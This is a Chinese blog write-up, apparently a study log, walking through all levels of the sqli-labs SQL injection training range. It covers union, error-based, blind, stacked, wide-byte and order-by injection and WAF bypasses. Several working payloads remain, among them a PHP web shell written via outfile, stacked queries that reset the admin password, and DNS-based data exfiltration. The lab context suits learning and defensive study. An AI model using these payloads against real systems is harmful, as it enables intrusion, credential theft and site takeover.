type
status
date
slug
summary
tags
category
icon
password
前言
好耶✌️!从2021年立下flag的sqli-labs靶场终于给刷完了,不得不说经典永远是经典,边刷边闻到了许多CTF题的味道。去年初的时候就把前20关给刷了,后面跑去刷ctfshow和干其他事情,然后就忘了,直到去年底看到团队师傅SQL注入玩的那么溜,各种bypass waf,于是就想把基础在巩固一波~
在这里顺便安利一波 lcamry 大佬的 mysql注入天书,刷的时候发现网上许多文章也是参考他的来的,然后里面也讲的更细,也有拓展,比网上许多文章写的都好,更像是 sqli-labs 的配套 WriteUp (
环境搭建
在网站解析目录执行:
修改
sql-connections/db-creds.inc
里数据库的连接用户和密码访问index.html ,点Setup/reset Database for labs 安装即可,如果有报错就根据报错解决,之后就可以愉快的玩耍啦~
mac使用mamp pro的连接数据库的一个小坑,这个要勾上
不然本机用客户端连不上,不知道为啥php里直接连竟然可以,而且是不用指定端口的
less-1 GET 注入
验证注入点:单引号报错,两个单引号闭合利用闭合方式:
' <payload> --+
获取本表中的字段,到4刚刚好报错
- 关于
-
和-+
疑问:
--
在sql语句中起到注释的作用,按理说--
和--+
作用是一样才对看法:PHP 在接收接收参数时,会对参数进行一次urldecode如我们在浏览器地址栏输入网址时,会调用类似strip的函数去除首尾的空格,例如下图是可以正常访问的
所以,如果后面如果原本接着字符,以这个举例子是
--'
那么这就是三个字符,后面没有字符 就不是 -- '
这样,MySQL是不会把它解析为注释符号的。 但 URL 里 不能 --
因为会被浏览器之类的替换为空,所以把空格编码一下就是 +
啦!当然这是 get 请求的情况,如果是 post 请求(且Content-Type不为x-www-form-urlencoded或与这个Content-Type类似效果),加
+
就有问题了, +
还是 +
,而不是空格的URL编码,此时应把+
替换为%20
,urldecode后就是空格啦。经测试,一般出现在 HTTP头里的 +
会被 urldecode 为空格然后
和
在MySQL中是不一样的,
才是注释,
不是注释,
观察4种情况
- 第1种正常,注释后面为空
- 第2种异常,
-+
并非注释,MySQL无法解析,从而抛出异常
- 第3种异常,
-
注释后面如果还有字符,需要加空格
- 第4种正常
所以一般
--
后面都有个 +
或者空格
,防止后面拼接了字符当然常用的注释还有
#
这种注释就不用担心
--
后面有没有紧接着字符啦。
获取本表回显至前端的第x个字段
为接下来的union注入做准备:
union注入时,我们虽然可以通过注入获得想要的信息,但这些信息必须能够回显。例如本例有3个字段,这些字段不是都显示在网页前端的,只有第2和3个字段的查询结果会回显。
因此我们需要知道这3个字段中哪两个结果会回显,这个过程相当于找到数据库与回显的通道。这时候我们利用一个简单的select 1,2,3,根据显示在页面上的数字就可以知道哪个数字是这个“通道”,那么我们只需要把这个数字改成我们想查询的内容(如version(),database()),当数据爆破成功后,就会在窗口显示我们想要的结果。
当然这里的 1,2,3 是可以换的,只要自己能辨认出来即可
可知会回显的为第2和第3个字段
- 关于 and 1=2
使用 and 1=2 是为了让本应正常输出的字段出错,然后达到我们的目的。
例如本例中只能输出一行,但我们需要通过正常查询来闭合,但我们想知道输出的是哪些字段,会被正常输出的所屏蔽。如正常查询:
为达到目的我们需要:
数据库中的返回结果:
获取一下数据库和版本
获取所有数据库名
获取security库所有表名
爆破security库users表列名
爆破security库users表数据
less-2 GET 注入
验证注入点:单引号报错,不用闭合可执行 SQL语句利用闭合方式:
<payload>
与第一关基本一样,就
id
不用闭合直接插入SQL语句即可
猜字段
回显字段位置
数据库和版本
获取所有数据库名
获取security库所有表名
爆破security库users表列名
爆破security库users表数据
less-3 GET 注入
验证注入点:单引号报错,两个单引号闭合利用闭合方式:
') <payload> --+
也是闭合符号不一样
猜字段
爆破数据
less-4 GET 注入
验证注入点:双引号报错,两个双引号闭合利用闭合方式:
") <payload> --+
也是闭合符号不一样
猜字段
爆破数据
Less-5 GET 报错注入
验证注入点:单引号报错,两个单引号闭合利用闭合方式:
' <payload> --+
考察点:报错注入通过floor报错 最多回显 64 个字符
推荐阅读:https://blog.csdn.net/weixin_45146120/article/details/100062786 ,报错原理讲的很好!
获取数据库
执行多条语句
获取表名
获取列名
从这里可以看出,使用floor报错最多能输出 64 个字符
获取数据
不是很能理解,为什么这里用 group_concat 不行
通过 updatexml 报错 最多回显 32 个字符
报错说明:https://www.cnblogs.com/vspiders/p/7400415.html
获取数据库
获取数据
由此可以看出,使用floor报错最多能输出 32 个字符
通过 ExtractValue 报错 最多回显 32 个字符
报错说明:https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html
获取数据库
获取数据
由此可以看出,使用 ExtractValue 报错最多能输出 32 个字符
Less-6 GET 报错注入或布尔盲注
验证注入点:双引号报错,两个双引号闭合利用闭合方式:
" <payload> --+
就闭合方式和 Less-5 不一样外,其余都一样
获取数据
Less-7 GET 注入写 shell
验证注入点:单引号报错,两个单引号闭合利用闭合方式:
')) <payload> --+
根据靶场首页的题目名字,是想让我们试试写shell
写 Shell 即 MySQL 需要对外写文件,但默认 MySQL 是不允许使用
outfile
来导出数据的,先手动在 MySQL 确认一下。MYSQL的特性 secure_file_priv 对读写文件的影响,此开关默认为NULL,即不允许导入导出。
写 Shell
这里有个小注意事项,不能直接把
<?php eval($_POST['pwd']);?>
转 16 进制,因为 <?php eval
之间的空格不会保留的。因此要手动加上 20
空格,不然写的 shell 会是 <?phpeval
这样的。报错不要紧因为这个语句值返回空
看一波这个目录就知道成功写进去了
Less-8 GET 布尔盲注
验证注入点:单引号无回显,两个单引号闭合利用闭合方式:
' <payload> --+
数据库长度
数据库名 security
注意这里的 substr(
(select database())
,1,1) 第一个参数必须带括号,因为 select 语句返回元组的形式,如果没有括号,则其结果的参数均会作为 substr
的参数代入,从而会报错。获取第一个表的长度,并获取表名 emails
获取表数据字段 分别是 2,8
获取字段名
获取数据
查询表的字段个数
获取第一个字段数据长度
获取第一个字段数据
写个脚本获取这个字段所以 16 个字符
Less-9 GET 时间盲注
验证注入点:
' and sleep(5) --+
利用闭合方式:' <payload> --+
无法查看页面返回情景,所以查询语句正确时,需要通过流程控制来判断进行时间延迟输出判断。
MySQL的 if
if(表达式,真,假)
利用 and 语句的特性,当有一个为假时,后面不用判断
例如猜数据库长度
数据库名第一个字母 s
查询表字段数
和 Less-8 获取的数据一样
Less-10 GET 时间盲注
验证注入点:
" and sleep(5) --+
利用闭合方式:" <payload> --+
获取 Less-8 的数据脚本需要改动的地方:
这里在介绍另外一种时间盲注方法
- if带括号是函数,不能直接用,所以最开始要拉上个 select
- 如果 if 第一个参数不是表达式,要用括号扩起来
Less-11 POST 注入
验证注入点:单引号报错,两个单引号闭合利用闭合方式:
admin' <payload> #&passwd=1
如果用
admin' --
注意 --
后面有个空格,或者 --+
也可以,保证HTTP请求包的 Content-Type 是 x-www-form-urlencoded 或Content-Type起到效果类似即可,因为这样包发出时会对POST请求体部分进行url编码。获取列数
爆破数据
Less-12 POST
验证注入点:双引号报错,两个双引号闭合利用闭合方式:
admin") <payload> #&passwd=1
获取列数
爆破数据
Less-13 POST 报错注入
验证注入点:单引号报错,两个单引号闭合利用闭合方式:
uname=admin') <payload> #&passwd=1
获取数据库
获取数据
Less-14 POST 报错注入
验证注入点:双引号报错,两个双引号闭合利用闭合方式:
uname=admin" <payload> #&passwd=1
获取数据
Less-15 POST 布尔盲注
验证注入点:万能密码登录成功 → uname=0x74617269’ or 1=1 #&passwd=1利用闭合方式:
uname=admin' <payload> #&passwd=1
要确保 0x74617269 是不存在的,因为用的是 or
, 如果 uname
是存在的就用 and
获取数据库长度
获取数据
查询表的字段个数
获取第一个字段数据长度
获取第一个字段数据
写个脚本获取这个字段所有 16 个字符
Less-16 POST 布尔盲注
验证注入点:万能密码登录成功 → uname=admin") or 1=1#&passwd=1
利用闭合方式:
uname=
0x74617269") <payload> #&passwd=1
获取数据库长度POST
获取第一个字段数据 16 个字符
Less-17 UPDATE 报错注入
uname 输入点被转义,update需要一个存在的用户,即 uname 必须是在数据库中存在的。
注入点在 passwd 字段验证注入点:uname=admin&passwd=1’利用闭合方式:
uname=Dhakkan&passwd=1' <payload> #
POST
正常报错注入获取数据库
但在获取数据就有点问题了
POST
报错: You can’t specify target table ‘users’ for update in FROM clause
在 MySQL 中,不能在同一个sql语句中,先select同一个表的某些值,然后再update这个表。但 select 的结果可以再通过一个中间表 select 多一次,就可以避免这个错误。顺便还明白了,为什么 sqlmap 的 payload 中那么多个
as
因此重新构造
POST
获取成功
Less-18 HTTP头UA INSERT 报错注入
需要正确的帐号密码验证注入点:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4208.0 Safari/537.36
'
利用闭合方式:1’ AND AND ’
PHP 里用来获取客户端 IP 的变量
$_SERVER['HTTP_CLIENT_IP']
这个很少使用,不一定服务器都实现了。客户端可以伪造。
$_SERVER['HTTP_X_FORWARDED_FOR']
,客户端可以伪造。
$_SERVER['REMOTE_ADDR']
,客户端不能伪造。
不过这里有个很奇怪的地方
payload
即 默认UA + 利用,但非预期内报错
把 UA 换成数字,不一定是1,0以外的数字基本都可以可以成功利用报错注入
payload
但如果把 1 换成 0,就什么都不输出了。
也就是说,UA
'
前包含 正负数字以外 的都不行不是很理解为啥爆破数据Less-19 HTTP头Referer INSERT 报错注入
需要正确的帐号密码验证注入点:Referer: http://sqli-labs:8890/sqli-labs/Less-19/
'
利用闭合方式:Referer: http://sqli-labs:8890/sqli-labs/Less-19/' AND AND '
爆破数据
Less-20 HTTP头Cookie 联合注入
验证注入点:Cookie: uname=123
'
利用闭合方式:Cookie: uname=123'#
可以直接用联合注入
提取本表字段,到 4 刚刚好报错
获取表
获取字段
获取数据
Less-21 Dump into outfile
验证注入点:Cookie: uname=MSc=(其中
MSc=
为 1'
的 base64编码)利用闭合方式:Cookie: uname=MScpIG9yIDE9MSAj(其中
MScpIG9yIDE9MSAj
为 1') or 1=1 #
的 base64编码 )注意事项
这里不能直接用 –+ ,因为是经过base64编码传输的,解码后传入数据库执行的是 –+,并不会转换为 –空格, –+ MySQL是不认识的,会报错
先判断表字段数,3正常,4报错
因后端有base64解码,所以需要编码
写文件
base64编码
报错不要紧因为这个语句值返回空
可以正常利用
Less-21 Cookie联合注入
注入点、闭合方式和判断表字段数同 Less-21 Dump into outfile 一致 这里尝试获取数据,与 Less-20 类似,不过要base64编码一下,然后闭合方式不一样
获取数据
base64编码一下
可以尝试使用 sqlmap base64encode tamper
-flush-session
选项是清除本地的缓存,因为sqlmap扫描结果会在本地缓存,然后下次扫描如果存在缓存会直接调用已扫描的结果。
Less-22 Cookie联合注入
验证注入点:Cookie: uname=MTIzIg== (其中
MTIzIg==
为 1"
的 base64编码) 利用闭合方式:Cookie: uname=MTIzIiBvciAxPTEj (其中 MTIzIiBvciAxPTEj
为 123" or 1=1#
的 base64编码 )利用方式和Less-21类似,只不过闭合方式不同
判断表字段个数,3正常,4报错
base64编码一下
获取数据
base64编码一下
突然发现好像数据都连在一起了,通过 concat 加个间隔符
舒服了~
Less-23 GET注入 过滤注释符
验证注入点:id=1’
利用闭合方式:?id=1’ and 1=2 union select 1,2,3 ’
因为本关过滤了注释符,其他都差不多
只要通过单引号把后面闭合了即可,获取数据
Less-24 二次注入
本关卡数据入参都有通过
mysql_real_escape_string
进行转义,本站提供了注册、登陆、登陆后修改密码功能关键代码 pass_change.php
虽然SQL特殊字符被转义了,但如果注册时用户名是
admin'#
,那么登陆这个修改密码执行的 SQL 语句就是则直接修改 admin 的密码,就能直接登陆管理员账号了
Less-25 双写绕过or和and
验证注入点:id=1’
利用闭合方式:?id=1’ anandd 1=2 union select 1,2,3 ’
这关会把
or
和 and
替换为空,通过双写绕过即可,或者通过等价符合 &&
和 ||
绕过获取数据
Less-25a 双写绕过or和and
验证注入点:?id=1%20anandd%20sleep(5)%20#
利用闭合方式:?id=1 anandd 1=2 union select 1,2,3 #
与Less-25一致,只是闭合方式不一样
获取数据
Less-26 空格绕过
验证注入点:id=1’
利用闭合方式:?id=1%27%0banandd%0b1=2%0bunion%0bselect%0b1,2,3%0b%27
除了Less-23 Less-25 过滤的,还过滤了空格,空格可以通过以下符号代替
符号 | 说明 |
%09 | TAB 键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键(垂直) |
%a0 | 空格(和普通空格不一样) |
试了一下,最终只有
%0b
和 %a0
是可用的,注意,%a0
我在mac(10.15.7)上用不了获取数据
Less-26a 空格绕过
验证注入点:?id=1’)%a0anandd%a0sleep(5)%a0oorr%a0(’
利用闭合方式:?id=1%27)%a0anandd%a01=2%a0union%a0select%a01,2,3%a0oorr%a0(%27
这关的注入点验证和闭合方式和之前的有很点不同,获取数据也和之前的有所不同,因为注释符也是被过滤了的,然后闭合方式是
('')
,我们无法直接通过 1') ('
闭合,因为这样会多出一个 ('')
导致 sql 语法错误需要构造一下,使得后面的
('')
无作用,即这里不能用
and ('')
因为后面为非(空),查询不到数据,用 or ('')
就行最终获取数据查询语句,结合一下前面的绕过就OK了~
Less-27 union过滤
验证注入点:?id=1’
利用闭合方式:?id=1’%0a%26%261=2%0auNion%0aseLect%0a1,2,3%0a’
过滤比较敷衍,没有区分大小写,而且也可以通过双写绕过,这里尝试了一下
%0a
突然也可以替换空格了获取数据
不知为啥下面分隔符没有效果
Less-27a union过滤
验证注入点:?id=1%22%26%26sleep(5)%7c%7c%22
利用闭合方式:?id=1%22%26%261%3d2%a0uNion%a0seLect%a01,2,3%7c%7c%22
与Less-27一样,但这里SQL语句为,注意前3行还有个双引号拼接,有点小坑,怪不得直接执行不行…
获取数据,发现这两a关闭合方式有点小trick,需要设法让多余的符号失效
或
Less-28 union select 过滤
验证注入点:?id=1%27)%26%26sleep(5)||(%27
利用闭合方式:?id=1')%26%261%3d2%0Auniounion%0Aselectn%0Aselect%0A1,2,3||('
本次过滤
双写
uniounion%0aselectn%0aselect
即可获取数据
Less-28a union select 过滤
这关只过滤了 union select,比Less-28过滤的还少,和 Less-28一样即可获取数据
Less-29 HPP绕过白名单
验证注入点:login.php?id=1&id=1'
利用闭合方式:login.php?id=1&id=1' and 1=2 union select 1,2,3%23
这关
login.php
设置了一个白名单WAF,只允许数字,不过获取匹配的参数 $_SERVER['QUERY_STRING']
然后匹配到第一个 id
就 break 掉了。但 PHP 通过 $_GET['id']
获取是覆盖关系,即同时存在多个URL参数时,只获取最后一个。但WAF判断的是第1个,所以就可以绕过了。这种方式也叫HPP,HTTP 参数污染获取数据
Less-30 && Less-31 HPP绕过白名单
验证注入点:login.php?id=1&id=1"
Less-30利用闭合方式:login.php?id=1&id=1" and 1=2 union select 1,2,3%23
Less-31利用闭合方式:login.php?id=1&id=1") and 1=2 union select 1,2,3%23
只是和Less-29闭合方式不一样
Less-30获取数据
Less-31获取数据
Less-32 宽字节注入
验证注入点:?id=1%df%27
利用闭合方式:?id=1%df%27 and 1=2 union select 1,2,3%23
原理
客户端(如PHP,设置了GBK编码)-> 连接层(MySQL编码处理)-> 服务端(MySQL语句执行)
%df%27%65 ->
%df%27
%65 (因为前一个ascii码要大于128,MySQL才会认为需要两个字节组合,然后 %df%xx
会进行多字节编码) -> 导致%27没转义,进而导致注入获取数据
Less-33 宽字节注入
同 Less-32,Less-32是自己写的过滤,Less-33是原生的,32的好像也是只能宽字节才行。
Less-34 POST 宽字节注入
验证注入点:uname=123%df'
利用闭合方式:uname=123%df' or 1=1%23
获取数据
除了SQL语句查询列数和POST方式,其他一样
Less-35 联合注入
验证注入点:?id=1'
利用闭合方式:?id=1 and 1=2 union select 1,2,3 #
获取数据
过滤了个寂寞(
Less-36 宽字节注入
验证注入点:?id=1%df%27
利用闭合方式:?id=1%df%27 and 1=2 union select 1,2,3%23
获取数据
和 Less-33 利用方式一样,只不过过滤函数从
addslashes
变成 mysql_real_escape_string
Less-37 POST 宽字节注入
利用方式同Less-34,过滤函数从
addslashes
变成 mysql_real_escape_string
Less-38 堆叠注入
验证注入点:?id=1'
利用闭合方式:?id=1';
这个和之前SQL查询语句不同的是使用了
mysqli_multi_query
,SQL语句中分隔符为 ;
,这个语句允许我们通过 ;
同时执行多个语句既然可以拼接任意语句,尝试获取版本
发现前面就算执行为空,也不会拼接,这是因为服务端只获取第一条语句的执行结果
如果服务端没有返回每条语句执行的结果,则需要获取数据回显。
从国光那学到了一种
只在Windows系统下有效
的dnslog数据外带方式,因为 Windows下存在一种叫UNC(通用命名规则)我们平常在访问smb或者域机器的时候就挺熟悉这种访问方式的,就叫UNC,如果把IP换成域名,当然也会进行dns解析。因Linux没有这种东西,所以也没法进行dnslog数据外带了
这里使用Windows搭建个sqli-labs环境(注意phpstudy默认
secure_file_priv=NULL
需要改 my.ini 在 [mysqld]
字段里增加 secure_file_priv
),然后写入即可获取数据,注意
limit 0,1
不能去掉,否则太长了会接收不到数据,不知是不是dnslog平台做了长度的限制这里和普通的注入还有很大不同,普通注入一般只能只能 select 操作,因是执行独立的sql语句,还可以执行增删改数据库表和表数据语句,如
最终补充一下,这几个堆叠注入都无法直接验证存在堆叠注入
Less-39 堆叠注入
验证注入点:?id=1'
利用闭合方式:?id=1;create database less39%23
闭合方式不一样,其余同 Less-38
获取所有数据库名称,验证数据库是否正常创建
Less-40 堆叠注入
验证注入点:1%27)%20and%20sleep(5)%23
利用闭合方式:?id=1');create database less40%23
闭合方式不一样,其余同 Less-38
获取所有数据库名称,验证数据库是否正常创建
Less-41 堆叠注入
验证注入点:?id=1%20and%20sleep(5)%23
利用闭合方式:?id=1;create database less41%23
没有报错回显,其余同 Less-39
获取所有数据库名称,验证数据库是否正常创建
Less-42 POST 堆叠注入
验证注入点:login_user=admin&login_password=
1'
&mysubmit=Login利用闭合方式:login_user=admin&login_password=
1';update users set password='1' where username='admin'%23
&mysubmit=Login利用堆叠注入修改任意用户密码,即可正常登陆,然后这里还存在万能密码、联合报错时间注入问题,应有尽有
Less-43 POST 堆叠注入
验证注入点:login_user=admin&login_password=
1'
&mysubmit=Login利用闭合方式:login_user=admin&login_password=
1');update users set password='123' where username='admin'%23
&mysubmit=Login闭合方式不一样,其余同 Less-42
Less-44 POST 堆叠注入
验证注入点:login_user=admin&login_password=
1' and sleep(5)%23
&mysubmit=Login利用闭合方式:login_user=admin&login_password=
1');update users set password='123' where username='admin'%23
&mysubmit=Login没有报错回显,其余同 Less-42
Less-45 POST 堆叠注入
验证注入点:login_user=admin&login_password=
1') and sleep(5)%23
&mysubmit=Login利用闭合方式:login_user=admin&login_password=
1');update users set password='1' where username='admin'%23
&mysubmit=Login没有报错回显,其余同 Less-43
Less-46 order by 注入
验证注入点1:?sort=1'
验证注入点2:?sort=1 asc
验证注入点3:?sort=1 desc
如果验证注入点2和3的结果不一样,则表明可以注入
验证注入点4:?sort=sleep(5)
注意order by 注入不能使用联合注入,不然会报语法错误,我们先观察一下 SELECT 语句在MySQL官方的说明
order by 注入可以直接跟表达式,所以注入也比较宽松,如
- 直接报错注入
- 布尔盲注
因为 ascii(x)=x 的返回值为0或1,在这里没法根据返回结果区分,不过直接 rand(0) 和 rand(1) 返回值不一样,然后 order by 的结果是有差异的。
另外,从卿师傅里学到一种异或方式的order by 注入
regex
匹配成功返回 1 失败 返回 0,1 和 0 的二进制分别是 00000001 和 00000000,与 id 字段每个id值进行异或,除非所有id值都为奇数或偶数,不然必然会导致排序发生改变,如id依次是 1/2/3/4 与1异或分别变成 0/3/2/5,与 0 异或是其本身(异或运算的特点)- 时间盲注
正常延时,顺便试试 benchmark延时
不行,应该是 benchmark 无论如何恒返回0,执不执行无所谓,这里编译器直接优化了?
这个语句就可以正常延时,可能表名这编译器优化问题,所以就执行 benchmark 没有直接获取返回值了,而是执行了
此外,也可以通过
and xxxx
拼接语句~通过观察官方SELECT语句用法,
PROCEDURE
存储过程的语句也可以用,比如说mac上这个语句用不了,win和linux环境没问题~
获取表名
获取字段名
报错函数因有最长返回值限制,因此要获取字段的最大长度,然后分割获取,(这里创建了一个新表
longcol
和新的字段desc
模拟数据长度大于64的场景)返回:
XPATH syntax error: '~int(11)~'
返回:
XPATH syntax error: '~varchar(255)~'
获取数据
- 这里
desc
要加反引号是因为desc
是 MySQL 内置函数,直接使用会报错~
- 不断改变 1,30 范围 ,最后变成 mid(`desc`,241,270) 即可获取该字段所有数据,当然也可以优雅些,当获取不到任何值时,就不获取了
- 如果数据中间包含很长一段空格,页面前端看着会像只返回1个空格
Less-47 order by 注入 字符型
验证注入点:?sort=1'
利用闭合方式:?sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
这里注意点就是不能通过直接
'
闭合,可以 and '
闭合,也可以通过注释闭合获取数据
Less-48 order by 盲注入
验证注入点:?sort=sleep(5)
利用闭合方式:if(ascii(substr(database(),1,1))=115,sleep(5),0)
这关关闭了报错注入,可以布尔盲注或者时间注入获取数据
不知为啥延时时间是远大于1S的
Less-49 order by 盲注入 字符型
验证注入点:?sort=1’
利用闭合方式:?sort=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),0)–+
闭合方式不一样,获取数据
这里注意
sort
后面要跟个值,不能直接接单引号Less-50 order by 堆叠注入
验证注入点:?sort=1'
利用闭合方式:?sort=1;create database less50;
和普通堆叠注入没什么区别
Less-51 order by 堆叠注入
验证注入点:?sort=1'
利用闭合方式:?sort=1’;create database less51;
闭合方式和Less50不一样,其余一样
Less-52 order by 堆叠注入
验证注入点:?sort=sleep(5)
利用闭合方式:?sort=1;create database less52;
只是无报错回显了
Less-53 order by 堆叠注入
验证注入点:1%27%20and%20sleep(5)–+
利用闭合方式:?sort=1';create database less53;
闭合方式和Less52不一样
Less-54
根据题意,限定10个语句从数据库
challenges
获取一个随机表中随机字段的值因只是表和字段是随机的,那么前面的判断闭合方式、字段个数判断,回显占位是不用算到这10次里的
闭合方式
字段数
报错
占位符为第2/3个字段
获取随机表名
获取随机表名的列名
获取数据,其实只要三步接行了~
Less-55
和 Less54一样,只是闭合方式不一样
快进到表名获取
列名
数据
Less-56
同Less55,闭合方式不一样
Less-57
同Less56,闭合方式不一样
Less-58
因获取结果通过代码定义的数组,数据库报错也开着,把联合注入为报错注入
获取表
获取字段
获取key
Less-59
闭合方式不一样,其余见Less-58
获取数据
Less-60
闭合方式不一样,其余见Less-58
获取数据
Less-61
闭合方式不一样,其余见Less-58
获取数据
Less-62
本关联合注入和报错注入都不行了,需要进行盲注
但此关限制了只能在 130 步内注入表名和数据字段以及数据,有点难度
常见字符及大小写已经有65个了…
首先想到二分法,但感觉也不太行
表名
字段名
数据
一共花费 229次,而且还是算准了字段长度,并且知道字段名前缀的前提下
网上搜了下别人的解法,tql orz
原来还有多状态这种东西,并且虽然MySQL默认区分大小写,但在用等号 where 取列名字段时,是不区分大小写的,各种骚姿势,被秀到了…
其实也是通过
substr
每位获取,只不过获取的时候,不用把每位字符(上面二分法脚本里的 chars
)一个个判断是否存在,而是通过页面返回结果来进行。但不是说这是盲注嘛?页面还是有返回具体的查询信息的,比如当 id=1时返回用户名为 Angelina(为啥不是数据库的 id 为1的用户名?因为PHP在代码层做了新数组映射),id=2时返回用户名是 Dummy,假如数据表中存在8条数据,我们把结果,假如 ASCII(SUBSTRING((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1), 1, 1))
是 90,然后ascii可见字符在 0-128,也就是 8 位二进制足以表示。我们不用一位位去匹配字符表的每个字符(上面二分法脚本里的 chars
),而是先 90 & 7 (00000111) = 2
, 90 & 56 (00111000) = 24
,90 & 224 (11100000) = 64
,然后3种与运算结果通过 case when 把与运算后的情况,弄成8种状态(因为只有3个1,返回只有8种结果),通过页面返回的三种状态,分别是 secure
,stupid
, secure
,3个状态即可知道这个字符的8位二进制组成,然后就能得出第1个字符的ascii值是90。也就是原本我们需要一个个遍历 .0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz
每个字符,根据页面返回判断是否相等,如果该表存在多于8条数据,就能变成只要3次即可获取到1个字符内容。过于秀~
Less-63
用Less-62多状态同 Less-62
Less-64
用Less-62多状态 payload 改一下闭合方式即可
Less-65
用Less-62多状态 payload 改一下闭合方式即可
总结
虽说用sqlmap是没有灵魂的,不得不说sqlmap是一款是否优秀的开源sql注入工具,为啥说没有灵魂?纯手工刷完靶场后,发现sqlmap给我们隐藏了很多很多的注入细节,所以练习不建议使用~